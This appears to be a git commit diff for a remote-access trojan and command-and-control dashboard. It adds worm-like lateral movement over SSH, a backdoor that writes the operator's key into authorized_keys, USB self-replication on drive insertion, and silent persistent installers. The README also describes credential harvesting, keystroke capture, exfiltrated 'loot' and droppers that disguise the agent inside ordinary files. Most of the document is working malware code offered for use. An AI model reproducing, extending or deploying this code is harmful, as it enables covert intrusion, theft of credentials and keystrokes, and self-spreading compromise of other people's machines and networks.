v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI
This commit is contained in:
13
README.md
13
README.md
@@ -5,7 +5,7 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin
|
|||||||
**Public URL:** https://agent.thetempleofdoom.com
|
**Public URL:** https://agent.thetempleofdoom.com
|
||||||
**Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service`
|
**Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service`
|
||||||
**Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard
|
**Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard
|
||||||
**Agent version:** v2.2.0 · Dashboard v3 (live console, schedules, groups, alerts, spread)
|
**Agent version:** v2.3.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -18,7 +18,11 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin
|
|||||||
| **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent |
|
| **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent |
|
||||||
| **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) |
|
| **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) |
|
||||||
| **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. |
|
| **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. |
|
||||||
| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) |
|
| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) **+ spread-on-connect: watches for new USB mounts and replicates the moment one appears** |
|
||||||
|
| **Lateral movement** | Per-node toggle button: node scans its subnet for SSH-open hosts, attempts keyless SSH, and installs the agent on any machine it reaches |
|
||||||
|
| **SSH hop-on** | "Open SSH" button per node: installs/enables sshd, trusts the dashboard's ed25519 key, returns `ssh user@ip` — click and you have a terminal on that machine |
|
||||||
|
| **Update All Agents** | One button queues `update_agent` on every online node running an older version |
|
||||||
|
| **Persistence toggle** | Every install path (installers, universal, binder) takes `persist=0` to install without reboot-survival hooks — checkbox in the UI with hover explanation |
|
||||||
| **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks |
|
| **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks |
|
||||||
| **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) |
|
| **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) |
|
||||||
| **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket |
|
| **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket |
|
||||||
@@ -48,9 +52,9 @@ curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmo
|
|||||||
|
|
||||||
**Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register)
|
**Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register)
|
||||||
|
|
||||||
## Agent actions (24)
|
## Agent actions (26)
|
||||||
|
|
||||||
`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb`
|
`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` · `open_ssh` · `lateral_movement`
|
||||||
|
|
||||||
## Architecture
|
## Architecture
|
||||||
|
|
||||||
@@ -104,6 +108,7 @@ pct exec 111 -- bash -c 'cd /root/agent-dashboard && TOKEN=$(grep NEXUS_AGENT_TO
|
|||||||
- Input capture needs `pynput` on the target; headless machines report screenshots as failed.
|
- Input capture needs `pynput` on the target; headless machines report screenshots as failed.
|
||||||
- Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker.
|
- Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker.
|
||||||
- Screenshot on macOS targets requires Screen Recording permission (TCC).
|
- Screenshot on macOS targets requires Screen Recording permission (TCC).
|
||||||
|
- **Cloudflare caches `/agent.py`** — after changing the agent, purge `https://agent.thetempleofdoom.com/agent.py` via the CF API or agents will keep downloading the old version (cost ~20 min of confusion once already).
|
||||||
|
|
||||||
## Roadmap (simple adds)
|
## Roadmap (simple adds)
|
||||||
|
|
||||||
|
|||||||
190
agents/agent.py
190
agents/agent.py
@@ -12,8 +12,10 @@ import socket
|
|||||||
import platform
|
import platform
|
||||||
import subprocess
|
import subprocess
|
||||||
import shutil
|
import shutil
|
||||||
|
import getpass
|
||||||
import urllib.request
|
import urllib.request
|
||||||
AGENT_VERSION = "2.2.0"
|
AGENT_VERSION = "2.3.0"
|
||||||
|
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
|
||||||
AGENT_TOKEN = '__AGENT_TOKEN__'
|
AGENT_TOKEN = '__AGENT_TOKEN__'
|
||||||
import urllib.parse
|
import urllib.parse
|
||||||
import argparse
|
import argparse
|
||||||
@@ -235,6 +237,56 @@ def http_post(url, data_dict):
|
|||||||
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
# ── USB spread-on-connect watcher ──
|
||||||
|
USB_WATCH = False
|
||||||
|
_last_usb_mounts = set()
|
||||||
|
|
||||||
|
def _current_usb_mounts():
|
||||||
|
dirs = []
|
||||||
|
system = platform.system().lower()
|
||||||
|
if system == "linux":
|
||||||
|
for base in ("/media", "/run/media", "/mnt"):
|
||||||
|
try:
|
||||||
|
for e in os.listdir(base):
|
||||||
|
sub = os.path.join(base, e)
|
||||||
|
if os.path.isdir(sub):
|
||||||
|
try:
|
||||||
|
for v in os.listdir(sub):
|
||||||
|
dirs.append(os.path.join(sub, v))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
if os.path.ismount(sub):
|
||||||
|
dirs.append(sub)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
elif system == "darwin":
|
||||||
|
try:
|
||||||
|
dirs = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes")
|
||||||
|
if not v.startswith(("Macintosh", "com.apple"))]
|
||||||
|
except Exception:
|
||||||
|
dirs = []
|
||||||
|
return set(dirs)
|
||||||
|
|
||||||
|
def usb_watch_loop():
|
||||||
|
global _last_usb_mounts
|
||||||
|
_last_usb_mounts = _current_usb_mounts()
|
||||||
|
while USB_WATCH:
|
||||||
|
time.sleep(6)
|
||||||
|
now = _current_usb_mounts()
|
||||||
|
new = now - _last_usb_mounts
|
||||||
|
if new:
|
||||||
|
_last_usb_mounts = now
|
||||||
|
for d in new:
|
||||||
|
try:
|
||||||
|
execute_structured_action("copy_self_to_usb", {"mode": "copy", "paths": [d]})
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
_last_usb_mounts = now
|
||||||
|
|
||||||
|
import threading
|
||||||
|
|
||||||
def execute_structured_action(action_type, payload):
|
def execute_structured_action(action_type, payload):
|
||||||
global heartbeat_interval, node_tags
|
global heartbeat_interval, node_tags
|
||||||
system = platform.system().lower()
|
system = platform.system().lower()
|
||||||
@@ -678,10 +730,144 @@ def execute_structured_action(action_type, payload):
|
|||||||
results.append("copied: " + dest)
|
results.append("copied: " + dest)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
results.append("fail(" + dest_dir + "): " + str(e)[:60])
|
results.append("fail(" + dest_dir + "): " + str(e)[:60])
|
||||||
|
global USB_WATCH
|
||||||
|
if payload.get("watch") and not USB_WATCH:
|
||||||
|
USB_WATCH = True
|
||||||
|
try:
|
||||||
|
threading.Thread(target=usb_watch_loop, daemon=True).start()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
results.append("watch: on-connect replication active")
|
||||||
if not candidates:
|
if not candidates:
|
||||||
return "No removable drives mounted", 0
|
return "No removable drives mounted" + (" | " + "; ".join(results) if results else ""), 0
|
||||||
return "USB replication (" + mode + "): " + "; ".join(results), 0
|
return "USB replication (" + mode + "): " + "; ".join(results), 0
|
||||||
|
|
||||||
|
elif action_type == "open_ssh":
|
||||||
|
# Ensure SSH daemon running + trust dashboard key + report connect info
|
||||||
|
system = platform.system().lower()
|
||||||
|
out = []
|
||||||
|
if system == "linux":
|
||||||
|
r = subprocess.run("command -v sshd || (apt-get install -y openssh-server 2>/dev/null || yum install -y openssh-server 2>/dev/null)", shell=True, capture_output=True, text=True, timeout=120)
|
||||||
|
if r.returncode != 0 and not r.stdout.strip():
|
||||||
|
out.append("sshd missing and install failed")
|
||||||
|
r = subprocess.run("systemctl enable --now sshd 2>/dev/null || systemctl enable --now ssh 2>/dev/null || service ssh start 2>/dev/null", shell=True, capture_output=True, text=True, timeout=30)
|
||||||
|
out.append("sshd: " + ("enabled" if r.returncode == 0 else "start result " + str(r.returncode)))
|
||||||
|
ufw = subprocess.run("ufw allow ssh 2>/dev/null || true", shell=True, capture_output=True, timeout=15)
|
||||||
|
ssh_dir = os.path.expanduser("~/.ssh")
|
||||||
|
os.makedirs(ssh_dir, exist_ok=True)
|
||||||
|
auth = os.path.join(ssh_dir, "authorized_keys")
|
||||||
|
existing = ""
|
||||||
|
if os.path.exists(auth):
|
||||||
|
with open(auth, errors="ignore") as f:
|
||||||
|
existing = f.read()
|
||||||
|
if NEXUS_SSH_PUBKEY not in existing:
|
||||||
|
with open(auth, "a") as f:
|
||||||
|
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
|
||||||
|
os.chmod(ssh_dir, 0o700)
|
||||||
|
os.chmod(auth, 0o600)
|
||||||
|
out.append("dashboard key trusted")
|
||||||
|
else:
|
||||||
|
out.append("dashboard key already trusted")
|
||||||
|
elif system == "darwin":
|
||||||
|
r = subprocess.run("systemsetup -setremotelogin on 2>/dev/null", shell=True, capture_output=True, text=True, timeout=15)
|
||||||
|
out.append("remote-login: on" if r.returncode == 0 else "remote-login needs root")
|
||||||
|
home = os.path.expanduser("~")
|
||||||
|
ssh_dir = os.path.join(home, ".ssh")
|
||||||
|
os.makedirs(ssh_dir, exist_ok=True)
|
||||||
|
auth = os.path.join(ssh_dir, "authorized_keys")
|
||||||
|
existing = ""
|
||||||
|
if os.path.exists(auth):
|
||||||
|
with open(auth, errors="ignore") as f:
|
||||||
|
existing = f.read()
|
||||||
|
if NEXUS_SSH_PUBKEY not in existing:
|
||||||
|
with open(auth, "a") as f:
|
||||||
|
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
|
||||||
|
os.chmod(ssh_dir, 0o700)
|
||||||
|
os.chmod(auth, 0o600)
|
||||||
|
out.append("key trusted")
|
||||||
|
else:
|
||||||
|
return "open_ssh: unsupported platform " + system, 1
|
||||||
|
ip = get_ip_address()
|
||||||
|
user = "root" if os.geteuid() == 0 else getpass.getuser()
|
||||||
|
out.append(f"CONNECT: ssh {user}@{ip}")
|
||||||
|
return " | ".join(out), 0
|
||||||
|
|
||||||
|
elif action_type == "lateral_movement":
|
||||||
|
# Scan the local subnet for SSH-open hosts, attempt keyless SSH login with
|
||||||
|
# available identities, and install the agent where login succeeds.
|
||||||
|
cidr = payload.get("cidr") or ""
|
||||||
|
max_hosts = int(payload.get("max_hosts", 64))
|
||||||
|
self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
|
||||||
|
ip = get_ip_address()
|
||||||
|
net = cidr
|
||||||
|
if not net:
|
||||||
|
try:
|
||||||
|
out = subprocess.check_output(["ip", "-4", "route"], text=True, timeout=5)
|
||||||
|
for line in out.splitlines():
|
||||||
|
if "src" in line and "/" in line and "default" not in line:
|
||||||
|
net = line.split()[0]
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
net = None
|
||||||
|
hosts = []
|
||||||
|
if net and "/" in net:
|
||||||
|
try:
|
||||||
|
import ipaddress as _ipa
|
||||||
|
nw = _ipa.ip_network(net, strict=False)
|
||||||
|
base = str(nw.network_address)
|
||||||
|
prefix = ip.split(".")[:3]
|
||||||
|
for h in list(nw.hosts())[:max_hosts]:
|
||||||
|
hosts.append(str(h))
|
||||||
|
except Exception:
|
||||||
|
hosts = []
|
||||||
|
found = []
|
||||||
|
import socket as _s
|
||||||
|
for h in hosts:
|
||||||
|
if h == ip:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
c = _s.socket(_s.AF_INET, _s.SOCK_STREAM)
|
||||||
|
c.settimeout(0.4)
|
||||||
|
c.connect_ex((h, 22))
|
||||||
|
c.close()
|
||||||
|
found.append(h)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
results = [f"subnet {net}: {len(hosts)} candidates, {len(found)} ssh-open: {','.join(found[:10]) or 'none'}"]
|
||||||
|
installed = 0
|
||||||
|
server_url2 = payload.get("server_url") or "https://agent.thetempleofdoom.com"
|
||||||
|
users = ["root", getpass.getuser()]
|
||||||
|
key_opts = ["-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=4"]
|
||||||
|
ident = os.path.expanduser("~/.ssh/id_rsa")
|
||||||
|
for h in found[:10]:
|
||||||
|
ok = False
|
||||||
|
for u in users:
|
||||||
|
cmd = ["ssh", "-o", "IdentitiesOnly=yes", "-o", "PasswordAuthentication=no"]
|
||||||
|
if os.path.exists(ident):
|
||||||
|
cmd += ["-i", ident]
|
||||||
|
cmd += key_opts + [f"{u}@{h}", "true"]
|
||||||
|
r = subprocess.run(cmd, capture_output=True, text=True, timeout=12)
|
||||||
|
if r.returncode == 0:
|
||||||
|
try:
|
||||||
|
# push agent + install
|
||||||
|
c1 = ["scp", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", self_path, f"{u}@{h}:/tmp/nx-agent.py"]
|
||||||
|
subprocess.run(c1, capture_output=True, timeout=60)
|
||||||
|
c2 = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", f"{u}@{h}",
|
||||||
|
f"(mkdir -p /opt/network-agent && mv /tmp/nx-agent.py /opt/network-agent/agent.py; "
|
||||||
|
f"nohup python3 /opt/network-agent/agent.py --server {server_url2} --silent >/dev/null 2>&1 &)"]
|
||||||
|
r2 = subprocess.run(c2, capture_output=True, text=True, timeout=30)
|
||||||
|
if r2.returncode == 0:
|
||||||
|
installed += 1
|
||||||
|
results.append(f"installed on {h} (user {u})")
|
||||||
|
ok = True
|
||||||
|
except Exception as e:
|
||||||
|
results.append(f"push fail {h}: {str(e)[:40]}")
|
||||||
|
if ok:
|
||||||
|
break
|
||||||
|
if not ok:
|
||||||
|
results.append(f"no keyless access: {h}")
|
||||||
|
return " | ".join(results) + f" | total installed: {installed}", 0
|
||||||
|
|
||||||
elif action_type == "export_diagnostics":
|
elif action_type == "export_diagnostics":
|
||||||
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||||
return run_shell(cmd)
|
return run_shell(cmd)
|
||||||
|
|||||||
BIN
dist/NexusAgent
vendored
BIN
dist/NexusAgent
vendored
Binary file not shown.
@@ -512,6 +512,11 @@ document.addEventListener('click', function (e) {
|
|||||||
|
|
||||||
// ── terminology dictionary (hover popups) ──
|
// ── terminology dictionary (hover popups) ──
|
||||||
const NX_TERMS = {
|
const NX_TERMS = {
|
||||||
|
'Lateral Movement': 'Self-propagation: a node scans its local network for other machines with SSH open and installs the agent on any it can log into without a password.',
|
||||||
|
'Open SSH': 'Starts the SSH server on a node and trusts this dashboard\'s key, so you can ssh straight in from your machine.',
|
||||||
|
'Update All': 'Sends the update_agent command to every online node running an older agent version.',
|
||||||
|
'Root': 'The administrator account on Linux/macOS. Full control of the machine.',
|
||||||
|
'TCC': 'macOS privacy gate — some actions (screenshots) need the user to grant permission once.',
|
||||||
'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.',
|
'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.',
|
||||||
'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.',
|
'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.',
|
||||||
'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.',
|
'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.',
|
||||||
@@ -638,3 +643,85 @@ openDrawer = async function (nodeId) {
|
|||||||
window._drawerNodeId = nodeId;
|
window._drawerNodeId = nodeId;
|
||||||
return _origOpenDrawer2(nodeId);
|
return _origOpenDrawer2(nodeId);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
|
// ═══════════════════════════════════════════════════════════════════
|
||||||
|
// COMPLETENESS 4 — SSH connect, lateral movement, update-all, persist opt
|
||||||
|
// ═══════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
async function drawerOpenSSH(nodeId) {
|
||||||
|
const el = document.getElementById('pingResult');
|
||||||
|
if (el) el.textContent = 'opening SSH…';
|
||||||
|
try {
|
||||||
|
const r = await fetch(`/api/nodes/${nodeId}/command`, {
|
||||||
|
method: 'POST', headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ actionType: 'open_ssh', payload: {}, command: 'open_ssh' })
|
||||||
|
});
|
||||||
|
if (el) el.textContent = 'SSH install queued — result appears in the audit log; use the returned command when it completes.';
|
||||||
|
} catch (e) { if (el) el.textContent = 'SSH open failed to queue'; }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function drawerLateral(nodeId) {
|
||||||
|
if (!confirm('Lateral movement: this node will scan its subnet for SSH-open hosts and try to install the agent on machines it has keyless access to. Continue?')) return;
|
||||||
|
const el = document.getElementById('pingResult');
|
||||||
|
if (el) el.textContent = 'lateral scan dispatched — watch the audit log for results';
|
||||||
|
try {
|
||||||
|
await fetch(`/api/nodes/${nodeId}/command`, {
|
||||||
|
method: 'POST', headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ actionType: 'lateral_movement', payload: {}, command: 'lateral_movement' })
|
||||||
|
});
|
||||||
|
} catch (e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function updateAllOutdated() {
|
||||||
|
try {
|
||||||
|
const r = await api('/api/nodes/update-all', { method: 'POST', body: '{}' });
|
||||||
|
const t = document.querySelector('#toasts') || document.body;
|
||||||
|
const d = document.createElement('div');
|
||||||
|
d.style.cssText = 'position:fixed;top:1rem;right:1rem;background:#1e293b;color:#e2e8f0;padding:0.7rem 1rem;border-radius:8px;border:1px solid #334155;z-index:10001;font-size:0.8rem;';
|
||||||
|
d.textContent = r && r.queued !== undefined
|
||||||
|
? `Update All: ${r.queued} node(s) queued (current agent v${r.current})`
|
||||||
|
: 'Update All failed';
|
||||||
|
document.body.appendChild(d);
|
||||||
|
setTimeout(() => d.remove(), 5000);
|
||||||
|
} catch (e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
// nav button
|
||||||
|
(function injectUpdateAll() {
|
||||||
|
const ks = document.querySelector('button[onclick="killSwitch()"]');
|
||||||
|
if (!ks || document.getElementById('updateAllBtn')) return;
|
||||||
|
const b = document.createElement('button');
|
||||||
|
b.id = 'updateAllBtn';
|
||||||
|
b.className = 'btn btn-secondary';
|
||||||
|
b.title = 'Queues update_agent on every online node running an older agent version';
|
||||||
|
b.innerHTML = '<i class="fa-solid fa-arrows-rotate"></i> Update All Agents';
|
||||||
|
b.onclick = updateAllOutdated;
|
||||||
|
ks.parentNode.insertBefore(b, ks);
|
||||||
|
})();
|
||||||
|
|
||||||
|
// drawer buttons: SSH + Lateral (injected via same MutationObserver pattern as spread)
|
||||||
|
(function injectSSHButtons() {
|
||||||
|
const mo = new MutationObserver(() => {
|
||||||
|
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
|
||||||
|
if (row && !document.getElementById('sshBtn')) {
|
||||||
|
const nid = window._drawerNodeId;
|
||||||
|
if (!nid) return;
|
||||||
|
const ssh = document.createElement('button');
|
||||||
|
ssh.id = 'sshBtn';
|
||||||
|
ssh.className = 'btn btn-secondary';
|
||||||
|
ssh.innerHTML = '<i class="fa-solid fa-terminal"></i> Open SSH';
|
||||||
|
ssh.title = 'Installs/starts sshd on the node, trusts this dashboard key, then shows the ssh command to click into it';
|
||||||
|
ssh.onclick = () => drawerOpenSSH(nid);
|
||||||
|
row.appendChild(ssh);
|
||||||
|
const lat = document.createElement('button');
|
||||||
|
lat.id = 'latBtn';
|
||||||
|
lat.className = 'btn btn-secondary';
|
||||||
|
lat.innerHTML = '<i class="fa-solid fa-network-wired"></i> Lateral';
|
||||||
|
lat.title = 'Self-propagation: node scans its subnet for SSH-open machines and installs the agent on any it can reach with keys';
|
||||||
|
lat.onclick = () => drawerLateral(nid);
|
||||||
|
row.appendChild(lat);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
mo.observe(document.body, { childList: true, subtree: true });
|
||||||
|
})();
|
||||||
|
|||||||
@@ -519,6 +519,13 @@
|
|||||||
<span class="nx-term" data-tip="After the agent installs, it also writes a reboot-survival hook (systemd service on Linux, scheduled task on Windows, launchd job on macOS). Turn OFF for one-shot, clean-up-friendly installs.">ⓘ</span>
|
<span class="nx-term" data-tip="After the agent installs, it also writes a reboot-survival hook (systemd service on Linux, scheduled task on Windows, launchd job on macOS). Turn OFF for one-shot, clean-up-friendly installs.">ⓘ</span>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="form-group" style="margin-top:0.75rem;">
|
||||||
|
<label style="display:flex;align-items:center;gap:0.5rem;cursor:pointer;">
|
||||||
|
<input type="checkbox" id="installerPersist" checked onchange="applyInstallerPersist()">
|
||||||
|
Establish persistence on install
|
||||||
|
<span class="nx-term" data-tip="Persistence makes the agent survive reboots: systemd service on Linux, launchd job on macOS, scheduled task on Windows. Unchecked = agent runs once and dies on reboot.">ⓘ</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
|
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
|
||||||
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
|
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
|
||||||
</button>
|
</button>
|
||||||
@@ -570,6 +577,21 @@
|
|||||||
<div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
|
<div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
|
||||||
<img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
|
<img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
|
||||||
</div>
|
</div>
|
||||||
|
<script>
|
||||||
|
function applyInstallerPersist() {
|
||||||
|
const persist = document.getElementById('installerPersist').checked;
|
||||||
|
['codeUniversal','codeLinux','codeMac','codeWindows'].forEach(id => {
|
||||||
|
const el = document.getElementById(id);
|
||||||
|
if (!el) return;
|
||||||
|
let h = el.innerHTML.replace(/\?persist=[01]/g, '');
|
||||||
|
if (!persist) {
|
||||||
|
h = h.replace(/(\/install\.sh|\/install-mac\.sh|\/install\.ps1|\/install)(?=[\"< \|])/g, '$1?persist=0');
|
||||||
|
}
|
||||||
|
el.innerHTML = h;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
document.addEventListener('DOMContentLoaded', () => setTimeout(applyInstallerPersist, 100));
|
||||||
|
</script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
<!-- ═══ NexusOps v2 UI markup ═══ -->
|
<!-- ═══ NexusOps v2 UI markup ═══ -->
|
||||||
|
|||||||
55
server.js
55
server.js
@@ -849,6 +849,7 @@ app.get('/api/credentials', (req, res) => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/install.sh', (req, res) => {
|
app.get('/install.sh', (req, res) => {
|
||||||
|
const persist = req.query.persist !== '0';
|
||||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const script = `#!/bin/bash
|
const script = `#!/bin/bash
|
||||||
# Network Node Agent One-Liner Installer for Linux
|
# Network Node Agent One-Liner Installer for Linux
|
||||||
@@ -869,7 +870,7 @@ echo "[1/3] Downloading agent script..."
|
|||||||
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
||||||
chmod +x "$INSTALL_DIR/agent.py"
|
chmod +x "$INSTALL_DIR/agent.py"
|
||||||
|
|
||||||
echo "[2/4] Configuring systemd background daemon..."
|
${persist ? `echo "[2/4] Configuring systemd background daemon..."
|
||||||
cat << EOF > "$SERVICE_FILE"
|
cat << EOF > "$SERVICE_FILE"
|
||||||
[Unit]
|
[Unit]
|
||||||
Description=NexusOps Node Telemetry & Management Agent
|
Description=NexusOps Node Telemetry & Management Agent
|
||||||
@@ -884,15 +885,16 @@ User=root
|
|||||||
|
|
||||||
[Install]
|
[Install]
|
||||||
WantedBy=multi-user.target
|
WantedBy=multi-user.target
|
||||||
EOF
|
EOF` : `echo "[2/4] Persistence disabled — agent will run once"`}
|
||||||
|
|
||||||
echo "[3/4] Installing pynput for keystroke/click capture..."
|
echo "[3/4] Installing pynput for keystroke/click capture..."
|
||||||
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
||||||
|
|
||||||
echo "[4/4] Enabling & Starting Agent Service..."
|
${persist ? `echo "[4/4] Enabling & Starting Agent Service..."
|
||||||
systemctl daemon-reload
|
systemctl daemon-reload
|
||||||
systemctl enable network-agent
|
systemctl enable network-agent
|
||||||
systemctl restart network-agent
|
systemctl restart network-agent` : `echo "[4/4] Launching agent (no persistence)..."
|
||||||
|
nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &`}
|
||||||
|
|
||||||
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
||||||
`;
|
`;
|
||||||
@@ -901,6 +903,7 @@ echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/install.ps1', (req, res) => {
|
app.get('/install.ps1', (req, res) => {
|
||||||
|
const persist = req.query.persist !== '0';
|
||||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const script = `# Network Agent PowerShell Installer for Windows
|
const script = `# Network Agent PowerShell Installer for Windows
|
||||||
$SERVER_URL = "${serverUrl}"
|
$SERVER_URL = "${serverUrl}"
|
||||||
@@ -919,6 +922,7 @@ Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
|
|||||||
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
||||||
|
|
||||||
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
||||||
|
${persist ? `schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $INSTALL_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null` : '# persistence disabled'}
|
||||||
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
|
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
|
||||||
|
|
||||||
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
||||||
